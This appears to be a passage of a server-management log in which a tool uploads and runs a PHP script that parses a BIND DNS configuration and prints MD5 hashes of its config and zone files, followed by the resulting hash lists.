MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:54:55: Establishing a connection
2025-12-31 19:54:55:
PUT: /tmp/pkp650729
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:54:56:
runuser -l bind -s /bin/bash -c '/tmp/pkp650729; rm /tmp/pkp650729'
2025-12-31 19:54:56:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:55:22: Establishing a connection
2025-12-31 19:55:22:
PUT: /tmp/pkp807449
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
